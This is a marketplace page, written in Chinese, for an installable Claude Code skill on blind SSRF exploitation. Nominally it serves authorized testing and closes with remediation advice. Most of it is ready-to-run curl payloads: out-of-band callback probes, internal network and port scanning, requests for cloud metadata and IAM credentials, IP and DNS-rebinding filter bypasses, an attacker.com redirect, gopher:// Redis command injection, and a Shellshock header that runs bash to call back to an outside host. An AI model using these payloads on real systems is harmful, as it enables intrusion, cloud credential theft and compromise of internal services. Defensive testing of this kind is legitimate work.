mcpField
P
performing-blind-ssrf-exploitation

performing-blind-ssrf-exploitation

github.com/mukul975安全35.2k155 次安装8 周前更新
代码仓库

关于 performing-blind-ssrf-exploitation

用于授权安全评估的盲 SSRF 测试技能,介绍通过带外回连确认请求,并评估内部网络与云元数据端点的访问风险。适用于测试 URL 输入、Webhook 和文件处理功能。

主要功能

  1. 01识别可能触发 SSRF 的输入点
  2. 02使用带外回连确认盲 SSRF
  3. 03通过时间差检查内部主机
  4. 04检查云元数据访问风险
  5. 05介绍过滤器绕过与数据外传

适用场景

  1. 01测试 Webhook 的 URL 验证
  2. 02评估预览和导入功能的请求风险
  3. 03检查 PDF 或图像处理器的 SSRF
  4. 04评估云元数据端点的暴露情况

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-blind-ssrf-exploitation

安装后在 Claude Code 中输入/performing-blind-ssrf-exploitation确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行盲 SSRF 利用

何时使用

  • 在测试 URL/webhook 输入参数且服务端响应不会回显时
  • 在评估获取外部资源的应用(头像、预览、导入)时
  • 在测试 PDF 生成器、图像处理器或文档转换器的 SSRF 时
  • 在云安全评估中检测元数据端点访问时
  • 在评估 webhook 功能和 URL 校验实现时

前置条件

  • 带有 Burp Collaborator 的 Burp Suite Professional,用于 OOB 检测
  • interact.sh 或 webhook.site,用于外部回调监控
  • 理解 SSRF 攻击向量和内部网络枚举
  • 了解云元数据端点(AWS、GCP、Azure)
  • 用于高级利用回调处理的 VPS 或受控服务器
  • 带 requests 库的 Python,用于自动化脚本

工作流

步骤 1 — 识别盲 SSRF 输入点
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
步骤 2 — 使用带外检测确认盲 SSRF
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions
步骤 3 — 枚举内部网络
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
步骤 4 — 访问云元数据端点
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
步骤 5 — 绕过 SSRF 过滤器
# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
步骤 6 — 将盲 SSRF 升级为数据外泄
# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

关键概念

概念描述
盲 SSRF服务器发起请求,但响应对攻击者不可见
带外检测使用外部回调(DNS、HTTP)确认 SSRF 执行
DNS 重绑定通过改变 DNS 解析来绕过基于 IP 的 SSRF 过滤器的技术
云元数据可通过 SSRF 访问的实例元数据端点,用于凭据窃取
Gopher 协议允许构造载荷与内部 TCP 服务交互的协议
基于时间的检测通过测量响应时间差异来检测 SSRF 是否成功
SSRF 链将 SSRF 与其他漏洞结合以获得更大影响

工具与系统

工具用途
Burp Collaborator用于 DNS 和 HTTP 回调检测的带外交互服务器
interact.shProjectDiscovery 的开源 OOB 交互工具
SSRFmap自动化 SSRF 检测与利用框架
Gopherus生成 gopher 载荷以通过 SSRF 利用内部服务
webhook.site用于测试 SSRF 回调的免费 webhook 接收器
rebinder.net用于绕过 SSRF IP 过滤器的 DNS 重绑定服务

常见场景

  1. 云凭据窃取 — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点并窃取 IAM 凭据,以攻陷云账户
  2. 内部服务发现 — 使用基于时间的盲 SSRF 枚举内部网络主机和开放端口
  3. Redis 利用 — 将盲 SSRF 与 gopher:// 协议结合,在内部 Redis 实例上执行命令
  4. Webhook 滥用 — 利用 webhook URL 字段扫描内部网络,并通过 OOB 通道外泄数据
  5. PDF 生成器 SSRF — 将内部 URL 注入 PDF 生成功能,在渲染文档中外泄内部内容

输出格式

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers

评论

支持 Markdown